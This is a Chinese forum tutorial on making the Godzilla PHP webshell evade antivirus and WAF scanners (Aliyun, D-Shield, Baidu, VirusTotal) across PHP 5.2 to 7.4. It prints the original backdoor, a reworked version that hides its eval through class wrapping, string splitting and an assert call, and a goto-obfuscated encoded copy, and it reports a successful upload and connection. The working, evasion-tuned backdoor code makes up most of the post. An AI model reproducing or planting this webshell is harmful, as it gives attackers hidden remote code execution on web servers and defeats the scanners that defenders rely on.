原文始发于先知社区(suansuan):webshell免杀-提升兼容性
各位师傅早上好,中午好,晚上好!!!
继上篇文章:https://xz.aliyun.com/t/11149
当时测试的环境是php7.0.9,但是将上面的思路转移到php的其他版本好像就不太行了,感谢各位师傅提的意见,小弟感激不尽,欢迎多提一些建议,感谢。
所以这篇文章将建立在前篇文章的基础的上,将兼容性提高,及思路的进一步扩展,如有问题,各位师傅可以在评论区反馈,小弟定在第一时间回复。
那么这次的测试环境是在phpstudy2018,php版本是php5.2-php7.4。
检测是网站分别是:
阿里云webshell检测:https://ti.aliyun.com/#/webshell
d盾:https://www.d99net.net/
以及百度的webshell:https://scanner.baidu.com/#/pages/intro
目前测试全过,全部不会报毒。
vt没有必要上传,vt对脚本语言不敏感,实测webshell检测能力较差。
vt:https://www.virustotal.com/gui/home/upload
总的来说最终成果是一片绿。
那么这次选择的webshell是哥斯拉的shell,为什么选择哥斯拉?冰蝎都是他的工具,功能强大,流量加密,并且在我这屡占奇功(绕过bypass_disablefunc)。okok,废话多了,直接测试,首先生成webshell,加密器是这里我使用的是xor_base64,密码是:admin,秘钥是admin123,,首先看看原版shell:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='admin';
$payloadName='payload';
$key='0192023a7bbd7325';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
首先还是一样看看免杀性:
阿里:恶意
d盾:4级风险
长亭:webshell检测成功
百度:0/1未检测出来
vt:4/57
河马:恶意
总的来说不算差,毕竟哥斯拉也发布挺久了。
在正式开始前,我们还要看看d盾给我们的信息,看看哪部分被查杀了
那么我们在源码里找到这部分代码
那么在我多次测试发现,这段代码影响最大,但不是唯一。
waf是怎么检测webshell的呢?
就我目前研究发现,waf可能并不会看那些if,elif等等函数,他们更在乎的是assert,eval,$_POST,$_GET,$_COOKIE,这些,因为传递参数及代码执行都会用到这几处函数,同时检测这些函数的时候,也不能全部当做恶意代码,较严的检测会导致正常的代码的无法执行,那么我们猜想一下,哥斯拉或者是冰蝎它们的木马在刚刚发布的时候,是否免杀呢?那么为什么现在不免杀了呢?所以waf最有可能就是定位特征,跟shellcode1的免杀差不多,也就是混淆,让waf无法识别出我们。
okok,第一环节:php5.2-php7.0.9
这里我们将代码简单的改一下,首先改写encode函数,将encode函数改成class调用,并将里面的变量名改改:
class aly{
public function yh($xc,$app) {
for($a=0;$a<strlen($xc);$a++) {
$m = $app[$a+1&15];
$xc[$a] = $xc[$a]^$m;
}
$bc=md5($xc); //这个没有实际作用,混淆waf的,不知道有没有用
return $xc;
}
}
这里改好后,我们就需要将下面的encode替换了,我使用的是
$app = new aly;
$data=$app->yh();
各位师傅随意了,这些更改比较简单。
那么第二个更改就是
$key=’0192023a7bbd7325′;
我们看看这个$key,实际就是秘钥的md5值的前16位,那么我们就可以改成:
$key=substr(md5(‘admin123’),0,16);
那么我们就可以将下面的所有$key都替换成substr(md5(‘admin123′),0,16)
第三点:
将能改的变量名都改一遍,多使用php的连接符点,或者将变量通过base64加密解密获得
那么我对$payloadName进行了字符串拼接:$p.’load’;($p=’pay’)
getBasicsInfo个更改为$cmd=’getBas’.’icsInfo’;
暂时,就更改这么多,主要是后来发现更改这些的作用不是特别大,但是也是不可获取的部分
第四点:
也是最重要的一点,php全版本通用。
我将上面所以的变量都改了一遍,能改改的函数也都尝试了,都失败了:
到底是怎么回事呢,经过我的fuzz大法,终于在变量传递过程中发现
可能是追踪到了变量的传递执行,符合哥斯拉木马特征,或其他原因,当我加一句变量传递时:
就这$uu=$payl;短短一句…..过了d盾
这是最简单的方法并且也是php5.2-php7.4都兼容的方法,
那么有没有其他方法?
另类方法:
条件只是用于php7.0.9,也就是我上一篇文章,strrev()函数,不知道这算不算strrev()函数在php7.0.9的bug,【手动狗头】
,当我们使用strrev()函数混淆assert,或者eval时:
另类方法二:
改成get传递
前提:php5.2-php7.0.9
同样waf无反应
以上这些方法可以过d盾,百度,vt等等(目前就测试这么多)
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
class aly{
public function yh($xc,$app) {
for($a=0;$a<strlen($xc);$a++) {
$m = $app[$a+1&15];
$xc[$a] = $xc[$a]^$m;
}
$bc=md5($xc);
return $xc;
}
}
$cmd='getBas'.'icsInfo';
$pass='admin';
$p='pay';
$key=substr(md5('admin123'),0,16);
$kk=$p.'load';
if (isset($_POST[$pass])){
$app = new aly;
$data=$app->yh(base64_decode($_POST[$pass]),substr(md5('admin123'),0,16));
if (isset($_SESSION[$kk])){
$xx=$app->yh($_SESSION[$kk],substr(md5('admin123'),0,16));
$payl=$xx;
if (strpos($payl,$cmd)===0){
$payl=$app->yh($payl,substr(md5('admin123'),0,16));
}
$uu=$payl;
class MOL{
public function __construct($p) {
$qq=null;
$dd=null;
assert($qq./*xxx*/$p./*ssss*/$dd);
}
}
@new MOL($uu);
print substr(md5($pass.substr(md5('admin123'),0,16)),0,16);
print base64_encode($app->yh(@run($data),substr(md5('admin123'),0,16)));
print substr(md5($pass.substr(md5('admin123'),0,16)),16);
}else{
if (strpos($data,$cmd)!==0){
$_SESSION[$kk]=$app->yh($data,substr(md5('admin123'),0,16));
}
}
}
同样达到阿里云还是提示
附加一点,不是改的越多越好,有时候适得其反,各位师傅自行斟酌。
那么现在就是给shell加密的,这次换个网站
http://122.114.170.182/
这个网站,注册个账号,
操作简单,各版本兼容,免费版够用,好评。
直接上传加密。
加密后代码:
<?php
/*
Encode by www.phpen.cn
*/
goto IUNnc; XwEH4: $app = new aly(); goto nsf5Z; LL5W7: print substr(md5($pass . substr(md5("\x61\144\155\151\x6e\61\62\63"), 0, 16)), 16); goto CL6YJ; CjDEf: ROeQh: goto l_69p; IUNnc: @session_start(); goto MEYfv; FD8N5: $xx = $app->yh($_SESSION[$kk], substr(md5("\x61\144\155\151\156\61\x32\x33"), 0, 16)); goto d5hJ4; EwLvZ: $pass = "\141\x64\x6d\151\x6e"; goto rJEy5; kB2OV: $key = substr(md5("\x61\x64\155\151\x6e\61\62\x33"), 0, 16); goto BSLFU; igfvs: if (!(strpos($payl, $cmd) === 0)) { goto SSWNn; } goto g6wS1; BRtQN: print base64_encode($app->yh(@run($data), substr(md5("\x61\x64\155\151\156\x31\x32\63"), 0, 16))); goto LL5W7; MEYfv: @set_time_limit(0); goto y_Rav; sLyCi: $uu = $payl; goto MJ6yT; MJ6yT: class MOL { public function __construct($p) { goto L8KoL; kSIBh: assert($qq . $p . $dd); goto WZIpx; jhNhW: $dd = null; goto kSIBh; L8KoL: $qq = null; goto jhNhW; WZIpx: } } goto DbnEh; nsf5Z: $data = $app->yh(base64_decode($_POST[$pass]), substr(md5("\x61\x64\x6d\151\x6e\x31\62\x33"), 0, 16)); goto BwJ60; y_Rav: @error_reporting(0); goto byV_H; qB34k: print substr(md5($pass . substr(md5("\x61\x64\155\151\x6e\x31\62\63"), 0, 16)), 0, 16); goto BRtQN; rJEy5: $p = "\x70\x61\x79"; goto kB2OV; byV_H: class aly { public function yh($xc, $app) { goto imLf_; Ble8D: TCvbj: goto a8lqD; gNM7_: return $xc; goto tjogK; DWm5f: goto TCvbj; goto s2flz; KBh8d: Lz8Jg: goto vMyr2; a8jp5: $m = $app[$a + 1 & 15]; goto CDak2; rFPqD: $bc = md5($xc); goto gNM7_; a8lqD: if (!($a < strlen($xc))) { goto eBW6Z; } goto a8jp5; CDak2: $xc[$a] = $xc[$a] ^ $m; goto KBh8d; vMyr2: $a++; goto DWm5f; imLf_: $a = 0; goto Ble8D; s2flz: eBW6Z: goto rFPqD; tjogK: } } goto C6KW9; g6wS1: $payl = $app->yh($payl, substr(md5("\x61\144\155\x69\156\x31\x32\x33"), 0, 16)); goto zWyVT; BSLFU: $kk = $p . "\x6c\157\x61\144"; goto mWTXt; DbnEh: @new MOL($uu); goto qB34k; YwMwI: $_SESSION[$kk] = $app->yh($data, substr(md5("\x61\x64\155\x69\x6e\x31\x32\63"), 0, 16)); goto CjDEf; Dh1Wx: rQdE_: goto FD8N5; zWyVT: SSWNn: goto sLyCi; d5hJ4: $payl = $xx; goto igfvs; l_69p: goto F03Mj; goto Dh1Wx; rIcEU: if (!(strpos($data, $cmd) !== 0)) { goto ROeQh; } goto YwMwI; CL6YJ: F03Mj: goto mpw9H; C6KW9: $cmd = "\x67\145\x74\102\141\x73" . "\151\x63\x73\x49\x6e\x66\157"; goto EwLvZ; BwJ60: if (isset($_SESSION[$kk])) { goto rQdE_; } goto rIcEU; mWTXt: if (!isset($_POST[$pass])) { goto OQSh7; } goto XwEH4; mpw9H: OQSh7:
上传测试:
连接测试;
成功!!
其实如果大佬会java,可以对哥斯拉进行魔改,效果应该更好,这里的免杀也只是小打小闹,给各位师傅乐乐,
如果有其他问题,给位师傅可以底下评论
感谢阅读